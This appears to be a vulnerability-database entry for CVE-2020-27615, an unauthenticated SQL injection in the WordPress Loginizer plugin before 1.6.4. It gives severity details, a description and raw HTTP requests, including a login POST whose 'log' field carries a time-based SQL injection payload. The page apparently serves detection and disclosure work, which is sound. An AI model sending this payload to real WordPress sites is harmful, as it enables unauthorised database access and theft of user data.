🔙 목록으로 돌아가기

CVE-2020-27615: WordPress Loginizer < 1.6.4 – Unauthenticated SQL Injection via `log` Parameter

TitleWordPress Loginizer < 1.6.4 – Unauthenticated SQL Injection via `log` Parameter
Authorintelligent-ears
SeverityCritical
ImpactUnauthenticated attackers can execute SQL injection to extract database contents and execute malicious scripts, potentially compromising the entire WordPress installation and all user data.
RemediationFixed in version 1.6.4
CVSS Score9.8
EPSS Score0.80754
CVE IDCVE-2020-27615
CWE IDCWE-89
Tags wpscan cve cve2020 wordpress wp-plugin wp loginizer sqli time-based vkev vuln

🔍 Vulnerability Description

The Loginizer plugin before 1.6.4 for WordPress allows SQL injection (with resultant XSS), related to loginizer_login_failed and lz_valid_ip.

🌐 HTTP Request

GET /wp-content/plugins/loginizer/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0
Connection: close
Accept-Encoding: gzip
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Safari/605.1.15
Connection: close
Content-Length: 120
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check;
Accept-Encoding: gzip

log='%2cip%3dLEFT(UUID()%2c8)%2curl%3dif(1%3d1%2csleep(7)%2c0)%23&pwd=rj1VFabG&wp-submit=Login&redirect_to=&testcookie=1

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-27615.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-27615.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A